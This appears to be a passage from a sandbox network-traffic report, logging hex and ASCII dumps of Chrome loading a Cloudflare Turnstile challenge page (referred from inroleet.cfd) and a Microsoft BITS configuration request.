2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 30 70 78 22 2c 79 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 79 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 32 30 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 31 70 78 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 22 23 30 30 30 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 53 74 79 6c 65 3d 22 73 6f 6c 69 64 22 2c 79 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 31 30 70 78 22 2c 79 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 2d 31 32 32 70 78 22 2c 79 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 31 70 78 22 2c 79 2e 73 74 79 6c 65 2e Data Ascii: 0px",y.style.position="absolute",y.style.zIndex="21474836420",y.style.borderWidth="1px",y.style.borderColor="#000",y.style.borderStyle="solid",y.style.backgroundColor="#ffffff",y.style.borderRadius="10px",y.style.left="-122px",y.style.top="-91px",y.style.
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 29 3b 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 2d 77 69 64 74 68 22 2c 22 33 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 22 2c 22 23 66 66 66 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 69 6c 6c 22 2c 22 6e 6f 6e 65 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 31 22 2c 22 36 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 32 22 2c 22 31 38 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 31 22 2c 22 31 38 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 32 22 2c 22 35 22 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 22 68 74 74 70 3a Data Ascii: );c.setAttribute("stroke-width","3"),c.setAttribute("stroke","#fff"),c.setAttribute("fill","none"),c.setAttribute("x1","6"),c.setAttribute("x2","18"),c.setAttribute("y1","18"),c.setAttribute("y2","5"),i.appendChild(c);var a=document.createElementNS("http:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49721	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:14 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://inroleet.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:14 UTC	1329	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' cross-origin-embedder-policy: require-corp permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() origin-agent-cluster: ?1 referrer-policy: same-origin cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA document-policy: js-profiling cross-origin-opener-policy: same-origin
2024-05-07 14:12:14 UTC	149	IN	Data Raw: 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 72 65 73 6f 75 72 63 65 2d 70 6f 6c 69 63 79 3a 20 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 30 31 63 64 63 38 63 61 64 63 38 63 35 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cross-origin-resource-policy: cross-originvary: accept-encodingServer: cloudflareCF-RAY: 8801cdc8cadc8c54-EWRalt-svc: h3=":443"; ma=86400
2024-05-07 14:12:14 UTC	60	IN	Data Raw: 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 0d 0a Data Ascii: 36<!DOCTYPE HTML><html lang="en-US"><head> <meta h
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 34 63 35 31 0d 0a 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 Data Ascii: 4c51ttp-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="preload" href="/cdn-cgi/challenge
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 66 Data Ascii: ight: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-serif; font-size: 14px; font-weight: 400; -webkit-f
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 7b 0a 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 20 32 34 32 3b 0a 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 32 34 32 3b 0a 20 Data Ascii: 38127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1 { stroke-dasharray: 242; stroke-dashoffset: 242;
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 Data Ascii: r-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .ctp-checkbox-label input:active ~ .mark { border: 2px
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d Data Ascii: ark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .theme-dark #fr-helper-link:link,.theme-dark #fr-helper-
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 76 69 73 69 74 65 64 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d Data Ascii: xt { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overlay a:link,#challenge-error-text a:visited,#challenge-
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 63 Data Ascii: x-label input:active ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:focus ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:focus ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:c
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 Data Ascii: ze-compact .ctp-checkbox-container { text-align: left;}.size-compact #logo { margin-top: 5px; margin-bottom: 0; height: 22px;}.size-compact .cb-container { margin-top: 3px; margin-left: 0;}.size-compact #branding { display: flex; fle

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49722	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:15 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-07 14:12:15 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0790) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=147085 Date: Tue, 07 May 2024 14:12:15 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49723	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:15 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8801cdc8cadc8c54 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:16 UTC	358	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:16 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 8801cdd089bf0c8e-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:16 UTC	880	IN	Data Raw: 33 36 39 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 47 2c 66 48 2c 66 4c 2c 66 4d 2c 66 4e 2c 66 55 2c 67 33 2c 67 34 2c 67 75 2c 67 79 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6e 2c 68 6f 2c 68 70 2c 68 71 2c 68 72 2c 68 73 2c 68 74 2c 68 75 2c 68 Data Ascii: 369window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fG,fH,fL,fM,fN,fU,g3,g4,gu,gy,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,hn,ho,hp,hq,hr,hs,ht,hu,h
2024-05-07 14:12:16 UTC	1369	IN	Data Raw: 31 64 32 65 0d 0a 3d 48 7d 2c 27 6c 68 7a 4e 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 45 75 63 63 52 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 48 6a 45 71 62 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 48 3d 3d 3d 47 7d 2c 27 62 65 66 6f 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 66 4e 52 4e 64 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 7d 2c 68 3d 3d 3d 6e 75 6c 6c 7c 7c 6f 5b 69 43 28 32 37 31 37 29 5d 28 76 6f 69 64 20 30 2c 68 29 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 66 4b 28 68 29 2c 67 5b 69 43 28 33 31 33 38 29 5d 5b Data Ascii: 1d2e=H},'lhzNj':function(G,H){return G===H},'EuccR':function(G,H){return G+H},'HjEqb':function(G,H){return H===G},'befoz':function(G,H,I){return G(H,I)},'fNRNd':function(G,H){return G+H}},h===null\|\|o[iC(2717)](void 0,h))return j;for(x=fK(h),g[iC(3138)][
2024-05-07 14:12:16 UTC	1369	IN	Data Raw: 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 45 28 33 30 33 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 69 46 29 7b 72 65 74 75 72 6e 20 69 46 3d 69 45 2c 6b 5b 69 46 28 32 32 37 32 29 5d 28 27 6f 2e 27 2c 73 29 7d 29 7d 2c 66 4e 3d 66 75 6e 63 74 69 6f 6e 28 69 47 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 69 47 3d 69 78 2c 64 3d 7b 27 41 4f 73 6a 49 27 3a 69 47 28 35 35 39 29 2c 27 63 54 59 71 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 28 29 7d 2c 27 56 4e 50 56 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 53 61 51 47 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 59 42 57 6c 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 Data Ascii: [n]=i[l[m]][iE(3032)](function(s,iF){return iF=iE,k[iF(2272)]('o.',s)})},fN=function(iG,d,e,f,g){return iG=ix,d={'AOsjI':iG(559),'cTYqn':function(h){return h()},'VNPVQ':function(h,i){return i==h},'SaQGz':function(h,i){return h>i},'YBWlB':function(h,i){ret
2024-05-07 14:12:16 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 69 48 29 7b 72 65 74 75 72 6e 20 69 48 3d 62 2c 64 5b 69 48 28 35 38 34 29 5d 5b 69 48 28 31 39 38 33 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 69 49 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 69 49 3d 69 47 2c 64 5b 69 49 28 32 30 36 31 29 5d 28 6e 75 6c 6c 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 3d 27 27 2c 44 3d 32 2c 45 3d 33 2c 46 3d 32 2c 47 3d 5b 5d 2c 48 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 4a 3c 69 5b 69 49 28 31 35 36 30 29 5d 3b 4a 2b 3d 31 29 69 66 28 4b 3d 69 5b 69 49 28 Data Ascii: ction(h){return null==h?'':f.g(h,6,function(i,iH){return iH=b,d[iH(584)][iH(1983)](i)})},'g':function(i,j,o,iI,s,x,B,C,D,E,F,G,H,I,J,K,L,M){if(iI=iG,d[iI(2061)](null,i))return'';for(x={},B={},C='',D=2,E=3,F=2,G=[],H=0,I=0,J=0;J<i[iI(1560)];J+=1)if(K=i[iI(
2024-05-07 14:12:16 UTC	1369	IN	Data Raw: 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 69 49 28 32 37 36 33 29 5d 28 64 5b 69 49 28 32 39 36 32 29 5d 28 48 2c 31 29 2c 31 2e 39 26 4d 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 69 49 28 32 33 37 31 29 5d 28 64 5b 69 49 28 31 30 34 30 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 69 49 28 31 30 39 30 29 5d 28 48 2c 31 29 7c 4d 2c 64 5b 69 49 28 32 37 33 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 69 49 28 32 33 37 31 29 5d 28 64 5b 69 49 28 33 30 39 32 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 69 49 28 39 35 33 29 5d 28 30 29 2c 73 3d 30 3b 31 36 3e 73 3b 48 3d 64 Data Ascii: s=0;8>s;H=d[iI(2763)](d[iI(2962)](H,1),1.9&M),I==j-1?(I=0,G[iI(2371)](d[iI(1040)](o,H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;s<F;H=d[iI(1090)](H,1)\|M,d[iI(2735)](I,j-1)?(I=0,G[iI(2371)](d[iI(3092)](o,H)),H=0):I++,M=0,s++);for(M=C[iI(953)](0),s=0;16>s;H=d
